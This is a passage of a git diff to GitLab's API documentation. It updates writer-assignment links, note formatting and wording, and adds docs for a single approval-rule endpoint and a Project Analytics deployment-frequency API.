`access_level_asc` | Access level, ascending | +| `access_level_desc` | Access level, descending | +| `last_joined` | Last joined | +| `name_asc` | Name, ascending | +| `name_desc` | Name, descending | +| `oldest_joined` | Oldest joined | +| `oldest_sign_in` | Oldest sign in | +| `recent_sign_in` | Recent sign in | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/groups/:id/billable_members" diff --git a/doc/api/merge_request_approvals.md b/doc/api/merge_request_approvals.md index 89e4224c735..e3ebb61768e 100644 --- a/doc/api/merge_request_approvals.md +++ b/doc/api/merge_request_approvals.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -173,6 +173,104 @@ GET /projects/:id/approval_rules ] ``` +### Get a single project-level rule + +> - Introduced 13.7. + +You can request information about a single project approval rules using the following endpoint: + +```plaintext +GET /projects/:id/approval_rules/:approval_rule_id +``` + +**Parameters:** + +| Attribute | Type | Required | Description | +|----------------------|---------|----------|-----------------------------------------------------------| +| `id` | integer | yes | The ID of a project | +| `approval_rule_id` | integer | yes | The ID of a approval rule | + +```json +{ + "id": 1, + "name": "security", + "rule_type": "regular", + "eligible_approvers": [ + { + "id": 5, + "name": "John Doe", + "username": "jdoe", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/jdoe" + }, + { + "id": 50, + "name": "Group Member 1", + "username": "group_member_1", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/group_member_1" + } + ], + "approvals_required": 3, + "users": [ + { + "id": 5, + "name": "John Doe", + "username": "jdoe", + "state": "active", + "avatar_url": "https://www.gravatar.com/avatar/0?s=80&d=identicon", + "web_url": "http://localhost/jdoe" + } + ], + "groups": [ + { + "id": 5, + "name": "group1", + "path": "group1", + "description": "", + "visibility": "public", + "lfs_enabled": false, + "avatar_url": null, + "web_url": "http://localhost/groups/group1", + "request_access_enabled": false, + "full_name": "group1", + "full_path": "group1", + "parent_id": null, + "ldap_cn": null, + "ldap_access": null + } + ], + "protected_branches": [ + { + "id": 1, + "name": "master", + "push_access_levels": [ + { + "access_level": 30, + "access_level_description": "Developers + Maintainers" + } + ], + "merge_access_levels": [ + { + "access_level": 30, + "access_level_description": "Developers + Maintainers" + } + ], + "unprotect_access_levels": [ + { + "access_level": 40, + "access_level_description": "Maintainers" + } + ], + "code_owner_approval_required": "false" + } + ], + "contains_hidden_groups": false +} +``` + ### Create project-level rule > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/11877) in [GitLab Starter](https://about.gitlab.com/pricing/) 12.3. @@ -401,7 +499,7 @@ DELETE /projects/:id/approval_rules/:approval_rule_id > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. -NOTE: **Note:** +NOTE: This API endpoint has been deprecated. Please use Approval Rule API instead. If you are allowed to, you can change approvers and approver groups using @@ -552,7 +650,7 @@ POST /projects/:id/merge_requests/:merge_request_iid/approvals > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/183) in [GitLab Starter](https://about.gitlab.com/pricing/) 10.6. -NOTE: **Note:** +NOTE: This API endpoint has been deprecated. Please use Approval Rule API instead. If you are allowed to, you can change approvers and approver groups using diff --git a/doc/api/merge_request_context_commits.md b/doc/api/merge_request_context_commits.md index 9b4697390d1..3873cb00033 100644 --- a/doc/api/merge_request_context_commits.md +++ b/doc/api/merge_request_context_commits.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/merge_requests.md b/doc/api/merge_requests.md index 44c59fd497b..d2144a2c0c5 100644 --- a/doc/api/merge_requests.md +++ b/doc/api/merge_requests.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- @@ -9,11 +9,11 @@ type: reference, api Every API call to merge requests must be authenticated. -CAUTION: **Deprecation:** +WARNING: > `reference` attribute in response is deprecated in favour of `references`. > Introduced [GitLab 12.6](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20354) -NOTE: **Note:** +NOTE: > `references.relative` is relative to the group / project that the merge request is being requested. When merge request is fetched from its project > `relative` format would be the same as `short` format and when requested across groups / projects it is expected to be the same as `full` format. @@ -76,14 +76,14 @@ Parameters: | `deployed_before` | datetime | no | Return merge requests deployed before the given date/time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | | `deployed_after` | datetime | no | Return merge requests deployed after the given date/time. Expected in ISO 8601 format (`2019-03-15T08:00:00Z`) | -NOTE: **Note:** +NOTE: [Starting in GitLab 13.0](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/31890), listing merge requests may not proactively update the `merge_status` field (which also affects the `has_conflicts` field), as this can be an expensive operation. If you are interested in the value of these fields from this endpoint, set the `with_merge_status_recheck` parameter to `true` in the query. -NOTE: **Note:** +NOTE: [Starting in GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/29984), the mergeability (`merge_status`) of each merge request will be checked asynchronously when a request is made to this endpoint. Poll this API endpoint @@ -563,7 +563,7 @@ Parameters: - `include_diverged_commits_count` (optional) - If `true` response includes the commits behind the target branch - `include_rebase_in_progress` (optional) - If `true` response includes whether a rebase operation is in progress -NOTE: **Note:** +NOTE: [Starting in GitLab 12.8](https://gitlab.com/gitlab-org/gitlab/-/issues/29984), the mergeability (`merge_status`) of a merge request will be checked asynchronously when a request is made to this endpoint. Poll this API endpoint diff --git a/doc/api/merge_trains.md b/doc/api/merge_trains.md index 3cfef3864ad..d8c0acb3896 100644 --- a/doc/api/merge_trains.md +++ b/doc/api/merge_trains.md @@ -1,19 +1,19 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Merge Trains API **(PREMIUM)** > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/36146) in GitLab 12.9. -> - Using this API you can consume GitLab's [Merge Train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) entries. +> - Using this API you can consume [Merge Train](../ci/merge_request_pipelines/pipelines_for_merged_results/merge_trains/index.md) entries. Every API call to merge trains must be authenticated with Developer or higher [permissions](../user/permissions.md). -If a user is not a member of a project and the project is private, a `GET` request on that project will result to a `404` status code. +If a user is not a member of a project and the project is private, a `GET` request on that project returns a `404` status code. -If Merge Trains is not available for the project, a `403` status code will return. +If Merge Trains is not available for the project, a `403` status code is returned. ## Merge Trains API pagination diff --git a/doc/api/metrics_dashboard_annotations.md b/doc/api/metrics_dashboard_annotations.md index c23ed657583..b92e26b03fb 100644 --- a/doc/api/metrics_dashboard_annotations.md +++ b/doc/api/metrics_dashboard_annotations.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -24,7 +24,7 @@ Parameters: |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| | `dashboard_path` | string | yes | ID of the dashboard which needs to be annotated. Treated as a CGI-escaped path, and automatically un-escaped. | | `starting_at` | string | yes | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking start point of annotation. | -| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied annotation will be displayed as single event at start point. | +| `ending_at` | string | no | Date time string, ISO 8601 formatted, such as `2016-03-11T03:45:40Z`. Timestamp marking end point of annotation. When not supplied, an annotation displays as a single event at the start point. | | `description` | string | yes | Description of the annotation. | ```shell diff --git a/doc/api/metrics_user_starred_dashboards.md b/doc/api/metrics_user_starred_dashboards.md index 8c2894293ba..79040333148 100644 --- a/doc/api/metrics_user_starred_dashboards.md +++ b/doc/api/metrics_user_starred_dashboards.md @@ -1,7 +1,7 @@ --- stage: Monitor group: Health -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: concepts, howto --- @@ -26,7 +26,7 @@ Parameters: | `dashboard_path` | string | yes | URL-encoded path to file defining the dashboard which should be marked as favorite. | ```shell -curl --header 'Private-Token: <your_access_token>' https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards \ +curl --header 'Private-Token: <your_access_token>' "https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards" \ --data-urlencode "dashboard_path=config/prometheus/dashboards/common_metrics.yml" ``` @@ -54,10 +54,10 @@ Parameters: | Attribute | Type | Required | Description | |:---------------|:---------------|:---------|:-----------------------------------------------------------------------------| | `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) | -| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied all dashboards within given projects will be removed from favorites. | +| `dashboard_path` | string | no | URL-encoded path to file defining the dashboard which should no longer be marked as favorite. When not supplied, all dashboards within given projects are removed from favorites. | ```shell -curl --request DELETE --header 'Private-Token: <your_access_token>' https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards \ +curl --request DELETE --header 'Private-Token: <your_access_token>' "https://gitlab.example.com/api/v4/projects/20/metrics/user_starred_dashboards" \ --data-urlencode "dashboard_path=config/prometheus/dashboards/common_metrics.yml" ``` diff --git a/doc/api/milestones.md b/doc/api/milestones.md index 161b3b81499..93b867c0286 100644 --- a/doc/api/milestones.md +++ b/doc/api/milestones.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project milestones API diff --git a/doc/api/namespaces.md b/doc/api/namespaces.md index f61400dfddb..4e5a418be7a 100644 --- a/doc/api/namespaces.md +++ b/doc/api/namespaces.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Namespaces API @@ -93,12 +93,12 @@ the `plan` parameter associated with a namespace: ] ``` -Users on GitLab.com will also see `max_seats_used` and `seats_in_use` parameters. +Users on GitLab.com also see `max_seats_used` and `seats_in_use` parameters. `max_seats_used` is the highest number of users the group had. `seats_in_use` is the number of license seats currently being used. Both values are updated once a day. -`max_seats_used` and `seats_in_use` will be non-zero only for namespaces on paid plans. +`max_seats_used` and `seats_in_use` are non-zero only for namespaces on paid plans. ```json [ @@ -113,7 +113,7 @@ once a day. ] ``` -NOTE: **Note:** +NOTE: Only group maintainers/owners are presented with `members_count_with_descendants`, as well as `plan` **(BRONZE ONLY)**. ## Search for namespace diff --git a/doc/api/notes.md b/doc/api/notes.md index 70aa4923b97..621d8179d98 100644 --- a/doc/api/notes.md +++ b/doc/api/notes.md @@ -1,7 +1,7 @@ --- stage: Plan group: Project Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Notes API @@ -14,7 +14,7 @@ Notes are comments on: - Epics **(ULTIMATE)** This includes system notes, which are notes about changes to the object (for example, when an -assignee changes, there will be a corresponding system note). +assignee changes, GitLab posts a system note). ## Resource events @@ -137,7 +137,7 @@ Parameters: - `issue_iid` (required) - The IID of an issue - `body` (required) - The content of a note. Limited to 1,000,000 characters. - `confidential` (optional) - The confidential flag of a note. Default is false. -- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z (requires admin or project/group owner rights) +- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/issues/11/notes?body=note" @@ -244,8 +244,8 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ### Create new snippet note -Creates a new note for a single snippet. Snippet notes are comments users can post to a snippet. -If you create a note where the body only contains an Award Emoji, you'll receive this object back. +Creates a new note for a single snippet. Snippet notes are user comments on snippets. +If you create a note where the body only contains an Award Emoji, GitLab returns this object. ```plaintext POST /projects/:id/snippets/:snippet_id/notes @@ -256,7 +256,7 @@ Parameters: - `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) - `snippet_id` (required) - The ID of a snippet - `body` (required) - The content of a note. Limited to 1,000,000 characters. -- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z +- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/5/snippet/11/notes?body=note" @@ -368,8 +368,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ### Create new merge request note Creates a new note for a single merge request. -If you create a note where the body only contains an Award Emoji, you'll receive -this object back. +If you create a note where the body only contains an Award Emoji, GitLab returns this object. ```plaintext POST /projects/:id/merge_requests/:merge_request_iid/notes @@ -380,7 +379,7 @@ Parameters: - `id` (required) - The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) - `merge_request_iid` (required) - The IID of a merge request - `body` (required) - The content of a note. Limited to 1,000,000 characters. -- `created_at` (optional) - Date time string, ISO 8601 formatted, e.g. 2016-03-11T03:45:40Z +- `created_at` (optional) - Date time string, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z` (requires administrator or project/group owner rights) ### Modify existing merge request note @@ -486,7 +485,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a ### Create new epic note Creates a new note for a single epic. Epic notes are comments users can post to an epic. -If you create a note where the body only contains an Award Emoji, you'll receive this object back. +If you create a note where the body only contains an Award Emoji, GitLab returns this object. ```plaintext POST /groups/:id/epics/:epic_id/notes diff --git a/doc/api/notification_settings.md b/doc/api/notification_settings.md index cbe5aa46a5d..74746f60d7e 100644 --- a/doc/api/notification_settings.md +++ b/doc/api/notification_settings.md @@ -1,7 +1,7 @@ --- stage: none group: unassigned -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Notification settings API diff --git a/doc/api/oauth2.md b/doc/api/oauth2.md index b1c81ff20b6..50d063bdf71 100644 --- a/doc/api/oauth2.md +++ b/doc/api/oauth2.md @@ -59,7 +59,7 @@ authorization with each flow. ### Web application flow -NOTE: **Note:** +NOTE: Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.1) for a detailed flow description. @@ -105,7 +105,7 @@ The web application flow is: } ``` -NOTE: **Note:** +NOTE: The `redirect_uri` must match the `redirect_uri` used in the original authorization request. @@ -113,11 +113,11 @@ You can now make requests to the API with the access token returned. ### Implicit grant flow -NOTE: **Note:** +NOTE: Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.2) for a detailed flow description. -CAUTION: **Important:** +WARNING: Avoid using this flow for applications that store data outside of the GitLab instance. If you do, make sure to verify `application id` associated with the access token before granting access to the data @@ -149,11 +149,11 @@ https://example.com/oauth/redirect#access_token=ABCDExyz123&state=YOUR_UNIQUE_ST ### Resource owner password credentials flow -NOTE: **Note:** +NOTE: Check the [RFC spec](https://tools.ietf.org/html/rfc6749#section-4.3) for a detailed flow description. -NOTE: **Note:** +NOTE: The Resource Owner Password Credentials is disabled for users with [two-factor authentication](../user/profile/account/two_factor_authentication.md) turned on. These users can access the API using [personal access tokens](../user/profile/personal_access_tokens.md) @@ -169,7 +169,7 @@ The credentials should only be used when: privileged application. - Other authorization grant types are not available (such as an authorization code). -CAUTION: **Important:** +WARNING: Never store the user's credentials and only use this grant type when your client is deployed to a trusted environment, in 99% of cases [personal access tokens](../user/profile/personal_access_tokens.md) are a better diff --git a/doc/api/packages.md b/doc/api/packages.md index 8124b081506..a52487e35a3 100644 --- a/doc/api/packages.md +++ b/doc/api/packages.md @@ -1,7 +1,7 @@ --- stage: Package group: Package -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Packages API @@ -67,7 +67,7 @@ Example response: ] ``` -By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination). +By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination). ### Within a group @@ -157,7 +157,7 @@ Example response: ] ``` -By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination). +By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination). The `_links` object contains the following properties: @@ -314,7 +314,7 @@ Example response: ] ``` -By default, the `GET` request will return 20 results, since the API is [paginated](README.md#pagination). +By default, the `GET` request returns 20 results, since the API is [paginated](README.md#pagination). ## Delete a project package diff --git a/doc/api/pages.md b/doc/api/pages.md index fda4a70cbd9..0a79d23b51e 100644 --- a/doc/api/pages.md +++ b/doc/api/pages.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pages API diff --git a/doc/api/pages_domains.md b/doc/api/pages_domains.md index 6f7236c8d1a..f9bb8521a1f 100644 --- a/doc/api/pages_domains.md +++ b/doc/api/pages_domains.md @@ -1,7 +1,7 @@ --- stage: Release -group: Release Management -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pages domains API diff --git a/doc/api/personal_access_tokens.md b/doc/api/personal_access_tokens.md index f7cbaeba438..b3e007308ba 100644 --- a/doc/api/personal_access_tokens.md +++ b/doc/api/personal_access_tokens.md @@ -1,7 +1,7 @@ --- stage: Manage group: Compliance -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Personal access tokens API @@ -23,7 +23,7 @@ GET /personal_access_tokens |-----------|---------|----------|---------------------| | `user_id` | integer/string | no | The ID of the user to filter by | -NOTE: **Note:** +NOTE: Administrators can use the `user_id` parameter to filter by a user. Non-administrators cannot filter by any user except themselves. Attempting to do so will result in a `401 Unauthorized` response. ```shell @@ -82,7 +82,7 @@ DELETE /personal_access_tokens/:id |-----------|---------|----------|---------------------| | `id` | integer/string | yes | ID of personal access token | -NOTE: **Note:** +NOTE: Non-administrators can revoke their own tokens. Administrators can revoke tokens of any user. ```shell diff --git a/doc/api/pipeline_schedules.md b/doc/api/pipeline_schedules.md index 1faa6ef56db..a400db37b22 100644 --- a/doc/api/pipeline_schedules.md +++ b/doc/api/pipeline_schedules.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pipeline schedules API @@ -109,14 +109,14 @@ Create a new pipeline schedule of a project. POST /projects/:id/pipeline_schedules ``` -| Attribute | Type | required | Description | -|---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `description` | string | yes | The description of pipeline schedule | -| `ref` | string | yes | The branch/tag name will be triggered | -| `cron` | string | yes | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) | -| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) (default: `'UTC'`) | -| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially (default: `true`) | +| Attribute | Type | required | Description | +|-----------------|----------------|----------|-------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `description` | string | yes | The description of the pipeline schedule. | +| `ref` | string | yes | The branch or tag name that is triggered. | +| `cron` | string | yes | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. | +| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone`, for example: `Pacific Time (US & Canada)` (default: `'UTC'`). | +| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated (default: `true`). | ```shell curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form description="Build packages" --form ref="master" --form cron="0 1 * * 5" --form cron_timezone="UTC" --form active="true" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules" @@ -147,21 +147,21 @@ curl --request POST --header "PRIVATE-TOKEN: <your_access_token>" --form descrip ## Edit a pipeline schedule -Updates the pipeline schedule of a project. Once the update is done, it will be rescheduled automatically. +Updates the pipeline schedule of a project. Once the update is done, it is rescheduled automatically. ```plaintext PUT /projects/:id/pipeline_schedules/:pipeline_schedule_id ``` -| Attribute | Type | required | Description | -|---------------|---------|----------|--------------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user | -| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID | -| `description` | string | no | The description of pipeline schedule | -| `ref` | string | no | The branch/tag name will be triggered | -| `cron` | string | no | The cron (e.g. `0 1 * * *`) ([Cron syntax](https://en.wikipedia.org/wiki/Cron)) | -| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (e.g. `Pacific Time (US & Canada)`) or `TZInfo::Timezone` (e.g. `America/Los_Angeles`) | -| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule will deactivated initially. | +| Attribute | Type | required | Description | +|------------------------|----------------|----------|------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](README.md#namespaced-path-encoding) owned by the authenticated user. | +| `pipeline_schedule_id` | integer | yes | The pipeline schedule ID. | +| `description` | string | no | The description of the pipeline schedule. | +| `ref` | string | no | The branch or tag name that is triggered. | +| `cron` | string | no | The [cron](https://en.wikipedia.org/wiki/Cron) schedule, for example: `0 1 * * *`. | +| `cron_timezone` | string | no | The timezone supported by `ActiveSupport::TimeZone` (for example `Pacific Time (US & Canada)`), or `TZInfo::Timezone` (for example `America/Los_Angeles`). | +| `active` | boolean | no | The activation of pipeline schedule. If false is set, the pipeline schedule is initially deactivated. | ```shell curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --form cron="0 2 * * *" "https://gitlab.example.com/api/v4/projects/29/pipeline_schedules/13" diff --git a/doc/api/pipeline_triggers.md b/doc/api/pipeline_triggers.md index c46992de51b..ea10b14bc2e 100644 --- a/doc/api/pipeline_triggers.md +++ b/doc/api/pipeline_triggers.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pipeline triggers API diff --git a/doc/api/pipelines.md b/doc/api/pipelines.md index 145a0a5ab7e..14ded7c569d 100644 --- a/doc/api/pipelines.md +++ b/doc/api/pipelines.md @@ -1,7 +1,7 @@ --- stage: Verify group: Continuous Integration -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Pipelines API @@ -155,7 +155,7 @@ Example of response > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202525) in GitLab 13.0. -NOTE: **Note:** +NOTE: This API route is part of the [Unit test report](../ci/unit_test_reports.md) feature. ```plaintext diff --git a/doc/api/project_aliases.md b/doc/api/project_aliases.md index cfd225639f9..270c88ca661 100644 --- a/doc/api/project_aliases.md +++ b/doc/api/project_aliases.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/project_analytics.md b/doc/api/project_analytics.md new file mode 100644 index 00000000000..97b15cc2c88 --- /dev/null +++ b/doc/api/project_analytics.md @@ -0,0 +1,52 @@ +--- +stage: Release +group: Release +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +type: reference, api +--- + +# Project Analytics API **(ULTIMATE ONLY)** + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/279039) in [GitLab Ultimate](https://about.gitlab.com/pricing/) 13.7. + +All methods require reporter authorization. + +## List project deployment frequencies + +Get a list of all project aliases: + +```plaintext +GET /projects/:id/analytics/deployment_frequency?environment=:environment&from=:from&to=:to&interval=:interval +``` + +| Attribute | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `id` | string | yes | The ID of the project | + +| Parameter | Type | Required | Description | +|--------------|--------|----------|-----------------------| +| `environment`| string | yes | The name of the environment to filter by | +| `from` | string | yes | Datetime range to start from, inclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | +| `to` | string | no | Datetime range to end at, exclusive, ISO 8601 format (`YYYY-MM-DDTHH:MM:SSZ`) | +| `interval` | string | no | The bucketing interval (`all`, `monthly`, `daily`) | + +```shell +curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/:id/analytics/deployment_frequency?from=:from&to=:to&interval=:interval" +``` + +Example response: + +```json +[ + { + "from": "2017-01-01", + "to": "2017-01-02", + "value": 106 + }, + { + "from": "2017-01-02", + "to": "2017-01-03", + "value": 55 + } +] +``` diff --git a/doc/api/project_badges.md b/doc/api/project_badges.md index b8ea55ab72f..2ca22baf654 100644 --- a/doc/api/project_badges.md +++ b/doc/api/project_badges.md @@ -1,7 +1,7 @@ --- stage: Create group: Source Code -info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers" +info: "To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments" type: reference, api --- diff --git a/doc/api/project_clusters.md b/doc/api/project_clusters.md index ce175184179..3cc8cd07923 100644 --- a/doc/api/project_clusters.md +++ b/doc/api/project_clusters.md @@ -1,7 +1,7 @@ --- stage: Configure group: Configure -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers +info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- # Project clusters API @@ -20,9 +20,9 @@ GET /projects/:id/clusters Parameters: -| Attribute | Type | Required | Description | -| --------- | ---- | -------- | ----------- | -| `id` | integer | yes | The ID of the project owned by the authenticated user | +| Attribute | Type | Required | Description | +| --------- | ------- | -------- | ----------------------------------------------------- | +| `id` | integer | yes | The ID of the project owned by the authenticated user | Example request: @@ -39,6 +39,8 @@ Example response: "name":"cluster-1", "domain":"example.com", "created_at":"2019-01-02T20:18:12.563Z", + "managed": true, + "enabled": true, "provider_type":"user", "platform_type":"kubernetes", 